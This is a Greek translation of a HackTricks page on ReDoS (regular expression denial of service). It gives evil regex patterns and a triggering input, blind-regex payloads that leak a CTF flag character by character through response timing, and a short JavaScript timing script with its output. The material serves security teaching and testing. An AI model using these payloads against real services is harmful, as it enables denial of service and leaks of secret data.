mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
103 lines
9.1 KiB
Markdown
103 lines
9.1 KiB
Markdown
# Αρνητική Επίθεση Καθυστέρησης Κανονικών Εκφράσεων - ReDoS
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||
|
||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||
|
||
</details>
|
||
|
||
# Αρνητική Επίθεση Καθυστέρησης Κανονικών Εκφράσεων (ReDoS)
|
||
|
||
Μια **Αρνητική Επίθεση Καθυστέρησης Κανονικών Εκφράσεων (ReDoS)** συμβαίνει όταν κάποιος εκμεταλλεύεται τις αδυναμίες στον τρόπο λειτουργίας των κανονικών εκφράσεων (ένας τρόπος αναζήτησης και αντιστοίχισης προτύπων σε κείμενο). Μερικές φορές, όταν χρησιμοποιούνται κανονικές εκφράσεις, μπορεί να γίνουν πολύ αργές, ειδικά αν το κομμάτι κειμένου με το οποίο δουλεύουν γίνεται μεγαλύτερο. Αυτή η αργή απόκριση μπορεί να γίνει τόσο άσχημη που αυξάνεται πολύ γρήγορα με ακόμα και μικρές αυξήσεις στο μέγεθος του κειμένου. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν αυτό το πρόβλημα για να καταστήσουν ένα πρόγραμμα που χρησιμοποιεί κανονικές εκφράσεις να μην λειτουργεί σωστά για μεγάλο χρονικό διάστημα.
|
||
|
||
|
||
## Ο Προβληματικός Αλγόριθμος Κανονικών Εκφράσεων
|
||
|
||
**Ελέγξτε τις λεπτομέρειες στο [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
|
||
|
||
|
||
## Κακόβουλες Κανονικές Εκφράσεις <a href="#evil-regexes" id="evil-regexes"></a>
|
||
|
||
Μια κακόβουλη κανονική έκφραση είναι αυτή που μπορεί να **μείνει αναπόδραστη σε συγκεκριμένη είσοδο προκαλώντας DoS**. Οι κακόβουλες κανονικές εκφράσεις συνήθως περιλαμβάνουν ομαδοποίηση με επανάληψη και επανάληψη ή εναλλαγή με επικάλυψη μέσα στην επαναλαμβανόμενη ομάδα. Ορισμένα παραδείγματα κακόβουλων προτύπων περιλαμβάνουν:
|
||
|
||
* (a+)+
|
||
* ([a-zA-Z]+)*
|
||
* (a|aa)+
|
||
* (a|a?)+
|
||
* (.*a){x} για x > 10
|
||
|
||
Όλα αυτά είναι ευάλωτα στην είσοδο `aaaaaaaaaaaaaaaaaaaaaaaa!`.
|
||
|
||
## Πληροφορίες Εξαγωγής μέσω ReDoS
|
||
|
||
Σε ένα CTF (ή bug bounty) ίσως **έχετε έλεγχο στην Κανονική Έκφραση με την οποία ταιριάζεται μια ευαίσθητη πληροφορία (η σημαία)**. Στη συνέχεια, εάν είναι χρήσιμο, μπορείτε να κάνετε τη **σελίδα να παγώσει (timeout ή μεγαλύτερος χρόνος επεξεργασίας)** εάν η **Κανονική Έκφραση ταιριάξει** και **όχι αν δεν ταιριάξει**. Με αυτόν τον τρόπο θα μπορείτε να **εξαγάγετε** τον χαρακτήρα του συμβολοσειρά **χαρακτήρα προς χαρακτήρα**:
|
||
|
||
* Στο [**αυτό το άρθρο**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) μπορείτε να βρείτε αυτόν τον κανόνα ReDoS: `^(?=<flag>)((.*)*)*salt$`
|
||
* Παράδειγμα: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
||
* Στο [**αυτό το writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) μπορείτε να βρείτε αυτόν: `<flag>(((((((.*)*)*)*)*)*)*)!`
|
||
* Στο [**αυτό το writeup**](https://ctftime.org/writeup/25869) χρησιμοποίησε: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
||
|
||
### Έλεγχος Εισόδου και Κανονικής Έκφρασης ReDoS
|
||
|
||
Τα παρακάτω είναι παραδείγματα **ReDoS** όπου **έχετε έλεγχο** τόσο στην **είσοδο** όσο και στην **κανονική έκφραση**:
|
||
```javascript
|
||
function check_time_regexp(regexp, text){
|
||
var t0 = new Date().getTime();;
|
||
new RegExp(regexp).test(text);
|
||
var t1 = new Date().getTime();;
|
||
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
|
||
}
|
||
|
||
// This payloads work because the input has several "a"s
|
||
[
|
||
// "((a+)+)+$", //Eternal,
|
||
// "(a?){100}$", //Eternal
|
||
"(a|a?)+$",
|
||
"(\\w*)+$", //Generic
|
||
"(a*)+$",
|
||
"(.*a){100}$",
|
||
"([a-zA-Z]+)*$", //Generic
|
||
"(a+)*$",
|
||
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
|
||
|
||
/*
|
||
Regexp (a|a?)+$ took 5076 milliseconds.
|
||
Regexp (\w*)+$ took 3198 milliseconds.
|
||
Regexp (a*)+$ took 3281 milliseconds.
|
||
Regexp (.*a){100}$ took 1436 milliseconds.
|
||
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
|
||
Regexp (a+)*$ took 723 milliseconds.
|
||
*/
|
||
```
|
||
## Εργαλεία
|
||
|
||
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
||
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
||
|
||
## Αναφορές
|
||
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
||
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
|
||
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
|
||
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||
|
||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||
|
||
</details>
|